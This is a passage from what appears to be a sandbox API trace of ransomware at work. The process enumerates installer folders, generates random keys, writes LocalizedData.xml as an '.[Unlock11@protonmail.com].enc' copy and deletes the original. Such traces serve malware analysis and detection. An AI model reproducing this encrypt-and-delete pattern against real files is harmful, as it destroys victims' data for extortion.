"c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 0x80 [0114.789] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0114.790] GetLastError () returned 0x12 [0114.790] GetLastError () returned 0x12 [0114.790] GetLastError () returned 0x12 [0114.790] GetLastError () returned 0x12 [0114.790] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0114.790] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 0x80 [0114.790] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0114.790] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0114.790] GetCurrentThreadId () returned 0x9b0 [0114.790] GetLastError () returned 0x12 [0114.791] GetLastError () returned 0x12 [0114.791] GetLastError () returned 0x12 [0114.791] GetLastError () returned 0x12 [0114.791] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\3076\\eula.rtf", lpFilePart=0x9bada4*="eula.rtf") returned 0x23 [0114.791] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0114.791] GetCurrentThreadId () returned 0x9b0 [0114.791] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0114.791] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0114.791] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0114.791] GetLastError () returned 0x12 [0114.791] GetLastError () returned 0x12 [0114.791] GetLastError () returned 0x12 [0114.792] GetLastError () returned 0x12 [0114.792] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml", lpFilePart=0x9bada4*="LocalizedData.xml") returned 0x2c [0114.792] GetCurrentThreadId () returned 0x9b0 [0114.792] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0114.792] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0114.792] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0114.792] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0114.792] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.792] GetLastError () returned 0x0 [0114.792] GetLastError () returned 0x0 [0114.792] GetLastError () returned 0x0 [0114.793] GetLastError () returned 0x0 [0114.793] GetCurrentThreadId () returned 0x9b0 [0114.793] GetLastError () returned 0x0 [0114.793] GetCurrentThreadId () returned 0x9b0 [0114.793] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.793] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.793] GetLastError () returned 0x0 [0114.793] GetLastError () returned 0x0 [0114.793] GetLastError () returned 0x0 [0114.793] GetLastError () returned 0x0 [0114.793] GetCurrentThreadId () returned 0x9b0 [0114.793] GetLastError () returned 0x0 [0114.793] GetLastError () returned 0x0 [0114.794] GetLastError () returned 0x0 [0114.794] GetLastError () returned 0x0 [0114.794] GetLastError () returned 0x0 [0114.794] GetCurrentThreadId () returned 0x9b0 [0114.794] GetLastError () returned 0x0 [0114.794] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.794] GetLastError () returned 0x0 [0114.794] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0114.794] GetLastError () returned 0x0 [0114.794] GetLastError () returned 0x0 [0114.794] GetLastError () returned 0x0 [0114.795] GetCurrentThreadId () returned 0x9b0 [0114.795] GetLastError () returned 0x0 [0114.795] GetCurrentThreadId () returned 0x9b0 [0114.795] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a928 [0114.795] GetLastError () returned 0x0 [0114.795] GetLastError () returned 0x0 [0114.795] GetLastError () returned 0x0 [0114.795] GetLastError () returned 0x0 [0114.795] GetCurrentThreadId () returned 0x9b0 [0114.795] GetLastError () returned 0x0 [0114.795] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a928 | out: hHeap=0x2ad0000) returned 1 [0114.795] GetLastError () returned 0x0 [0114.796] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d65a0 | out: hHeap=0x2ad0000) returned 1 [0114.796] GetLastError () returned 0x0 [0114.796] GetLastError () returned 0x0 [0114.796] GetLastError () returned 0x0 [0114.796] GetCurrentThreadId () returned 0x9b0 [0114.796] GetLastError () returned 0x0 [0114.796] GetLastError () returned 0x0 [0114.796] GetLastError () returned 0x0 [0114.796] GetLastError () returned 0x0 [0114.796] GetLastError () returned 0x0 [0114.796] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0114.797] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90)) returned 1 [0114.797] GetLastError () returned 0x0 [0114.797] GetCurrentThreadId () returned 0x9b0 [0114.797] GetLastError () returned 0x0 [0114.797] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0114.797] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36648a4 | out: pbBuffer=0x36648a4) returned 1 [0114.799] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0114.799] GetCurrentThreadId () returned 0x9b0 [0114.799] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0114.799] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0114.799] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.799] GetCurrentThreadId () returned 0x9b0 [0114.799] GetCurrentThreadId () returned 0x9b0 [0114.799] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.800] GetCurrentThreadId () returned 0x9b0 [0114.800] GetCurrentThreadId () returned 0x9b0 [0114.800] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34adba8 | out: hHeap=0x2ad0000) returned 1 [0114.800] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0114.800] GetFileType (hFile=0x39c) returned 0x1 [0114.800] GetFileType (hFile=0x39c) returned 0x1 [0114.800] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.800] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.800] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.801] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.801] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.801] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.801] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.801] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0114.802] GetFileType (hFile=0x3ac) returned 0x1 [0114.802] GetFileType (hFile=0x3ac) returned 0x1 [0114.803] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.803] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.803] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.803] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.803] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.803] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.803] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.804] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xeda5) returned 0x35c5908 [0114.805] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6c08 [0114.805] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c88 | out: hHeap=0x2ad0000) returned 1 [0114.805] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xeda8) returned 0x36f8548 [0114.807] CloseHandle (hObject=0x3ac) returned 1 [0114.807] GetLastError () returned 0x0 [0114.807] GetCurrentThreadId () returned 0x9b0 [0114.807] GetLastError () returned 0x0 [0114.807] GetLastError () returned 0x0 [0114.807] CloseHandle (hObject=0x39c) returned 1 [0114.807] GetLastError () returned 0x0 [0114.807] GetCurrentThreadId () returned 0x9b0 [0114.807] GetLastError () returned 0x0 [0114.808] GetLastError () returned 0x0 [0114.808] GetLastError () returned 0x0 [0114.808] GetLastError () returned 0x0 [0114.808] GetLastError () returned 0x0 [0114.808] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 1 [0114.809] GetLastError () returned 0x0 [0114.809] GetCurrentThreadId () returned 0x9b0 [0114.809] GetLastError () returned 0x0 [0114.809] GetLastError () returned 0x0 [0114.810] GetLastError () returned 0x0 [0114.810] GetLastError () returned 0x0 [0114.810] GetLastError () returned 0x0 [0114.810] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\3076\\SetupResources.dll", lpFilePart=0x9bada4*="SetupResources.dll") returned 0x2d [0114.810] GetCurrentThreadId () returned 0x9b0 [0114.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0114.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0114.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0114.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0114.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0114.810] GetCurrentThreadId () returned 0x9b0 [0114.810] GetLastError () returned 0x0 [0114.811] GetLastError () returned 0x0 [0114.811] GetLastError () returned 0x0 [0114.811] GetLastError () returned 0x0 [0114.811] FindFirstFileA (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7850 [0114.811] GetLastError () returned 0x0 [0114.811] GetCurrentThreadId () returned 0x9b0 [0114.811] GetLastError () returned 0x0 [0114.811] FindNextFileA (in: hFindFile=0x10f7850, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0114.811] GetLastError () returned 0x0 [0114.811] GetCurrentThreadId () returned 0x9b0 [0114.811] GetLastError () returned 0x0 [0114.812] FindNextFileA (in: hFindFile=0x10f7850, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0114.812] GetLastError () returned 0x0 [0114.812] GetCurrentThreadId () returned 0x9b0 [0114.812] GetLastError () returned 0x0 [0114.812] FindNextFileA (in: hFindFile=0x10f7850, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0114.812] GetLastError () returned 0x0 [0114.812] GetCurrentThreadId () returned 0x9b0 [0114.812] GetLastError () returned 0x0 [0114.812] FindNextFileA (in: hFindFile=0x10f7850, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0114.812] GetLastError () returned 0x0 [0114.812] GetCurrentThreadId () returned 0x9b0 [0114.812] GetLastError () returned 0x0 [0114.812] FindNextFileA (in: hFindFile=0x10f7850, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0114.813] GetLastError () returned 0x12 [0114.813] GetCurrentThreadId () returned 0x9b0 [0114.813] GetLastError () returned 0x12 [0114.813] GetLastError () returned 0x12 [0114.813] FindClose (in: hFindFile=0x10f7850 | out: hFindFile=0x10f7850) returned 1 [0114.814] GetLastError () returned 0x12 [0114.814] GetLastError () returned 0x12 [0114.814] GetLastError () returned 0x12 [0114.814] GetLastError () returned 0x12 [0114.814] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0114.814] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 0x80 [0114.814] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201c8 | out: hHeap=0x2ad0000) returned 1 [0114.814] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0114.814] GetCurrentThreadId () returned 0x9b0 [0114.814] GetLastError () returned 0x12 [0114.815] GetLastError () returned 0x12 [0114.815] GetLastError () returned 0x12 [0114.815] GetLastError () returned 0x12 [0114.815] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0114.815] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 0x80 [0114.815] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0114.815] GetLastError () returned 0x12 [0114.815] GetLastError () returned 0x12 [0114.815] GetLastError () returned 0x12 [0114.815] GetLastError () returned 0x12 [0114.816] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0114.816] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 0x80 [0114.816] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0114.816] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0114.816] GetCurrentThreadId () returned 0x9b0 [0114.816] GetLastError () returned 0x12 [0114.816] GetLastError () returned 0x12 [0114.816] GetLastError () returned 0x12 [0114.816] GetLastError () returned 0x12 [0114.816] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\3082\\eula.rtf", lpFilePart=0x9bada4*="eula.rtf") returned 0x23 [0114.817] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0114.817] GetCurrentThreadId () returned 0x9b0 [0114.817] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0114.817] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0114.817] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0114.817] GetLastError () returned 0x12 [0114.817] GetLastError () returned 0x12 [0114.817] GetLastError () returned 0x12 [0114.817] GetLastError () returned 0x12 [0114.817] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml", lpFilePart=0x9bada4*="LocalizedData.xml") returned 0x2c [0114.817] GetCurrentThreadId () returned 0x9b0 [0114.817] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0114.818] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0114.818] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0114.818] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0114.818] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.818] GetLastError () returned 0x0 [0114.818] GetLastError () returned 0x0 [0114.818] GetLastError () returned 0x0 [0114.818] GetLastError () returned 0x0 [0114.818] GetCurrentThreadId () returned 0x9b0 [0114.818] GetLastError () returned 0x0 [0114.818] GetCurrentThreadId () returned 0x9b0 [0114.818] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.819] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.819] GetLastError () returned 0x0 [0114.819] GetLastError () returned 0x0 [0114.819] GetLastError () returned 0x0 [0114.819] GetLastError () returned 0x0 [0114.819] GetCurrentThreadId () returned 0x9b0 [0114.819] GetLastError () returned 0x0 [0114.819] GetLastError () returned 0x0 [0114.819] GetLastError () returned 0x0 [0114.819] GetLastError () returned 0x0 [0114.819] GetLastError () returned 0x0 [0114.819] GetCurrentThreadId () returned 0x9b0 [0114.819] GetLastError () returned 0x0 [0114.820] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.820] GetLastError () returned 0x0 [0114.820] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6528 | out: hHeap=0x2ad0000) returned 1 [0114.820] GetLastError () returned 0x0 [0114.820] GetLastError () returned 0x0 [0114.820] GetLastError () returned 0x0 [0114.820] GetCurrentThreadId () returned 0x9b0 [0114.820] GetLastError () returned 0x0 [0114.820] GetCurrentThreadId () returned 0x9b0 [0114.820] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a528 [0114.820] GetLastError () returned 0x0 [0114.821] GetLastError () returned 0x0 [0114.821] GetLastError () returned 0x0 [0114.821] GetLastError () returned 0x0 [0114.821] GetCurrentThreadId () returned 0x9b0 [0114.821] GetLastError () returned 0x0 [0114.821] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a528 | out: hHeap=0x2ad0000) returned 1 [0114.821] GetLastError () returned 0x0 [0114.821] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6348 | out: hHeap=0x2ad0000) returned 1 [0114.821] GetLastError () returned 0x0 [0114.821] GetLastError () returned 0x0 [0114.821] GetLastError () returned 0x0 [0114.821] GetCurrentThreadId () returned 0x9b0 [0114.822] GetLastError () returned 0x0 [0114.822] GetLastError () returned 0x0 [0114.822] GetLastError () returned 0x0 [0114.822] GetLastError () returned 0x0 [0114.822] GetLastError () returned 0x0 [0114.822] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0114.822] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c)) returned 1 [0114.822] GetLastError () returned 0x0 [0114.822] GetCurrentThreadId () returned 0x9b0 [0114.822] GetLastError () returned 0x0 [0114.822] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0114.823] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366482c | out: pbBuffer=0x366482c) returned 1 [0114.823] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0114.823] GetCurrentThreadId () returned 0x9b0 [0114.823] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0114.823] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0114.823] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.823] GetLastError () returned 0x0 [0114.823] GetLastError () returned 0x0 [0114.823] GetLastError () returned 0x0 [0114.823] GetLastError () returned 0x0 [0114.823] GetCurrentThreadId () returned 0x9b0 [0114.823] GetLastError () returned 0x0 [0114.824] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.824] GetCurrentThreadId () returned 0x9b0 [0114.824] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.824] GetLastError () returned 0x0 [0114.824] GetLastError () returned 0x0 [0114.824] GetLastError () returned 0x0 [0114.824] GetLastError () returned 0x0 [0114.824] GetCurrentThreadId () returned 0x9b0 [0114.824] GetLastError () returned 0x0 [0114.824] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.824] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6c88 [0114.825] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34adba8 | out: hHeap=0x2ad0000) returned 1 [0114.825] GetCurrentThreadId () returned 0x9b0 [0114.825] GetLastError () returned 0x0 [0114.825] GetLastError () returned 0x0 [0114.825] GetLastError () returned 0x0 [0114.825] GetLastError () returned 0x0 [0114.825] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0114.825] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6d28 [0114.825] GetLastError () returned 0x0 [0114.825] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0114.825] GetFileType (hFile=0x39c) returned 0x1 [0114.826] GetLastError () returned 0x0 [0114.826] GetCurrentThreadId () returned 0x9b0 [0114.826] GetLastError () returned 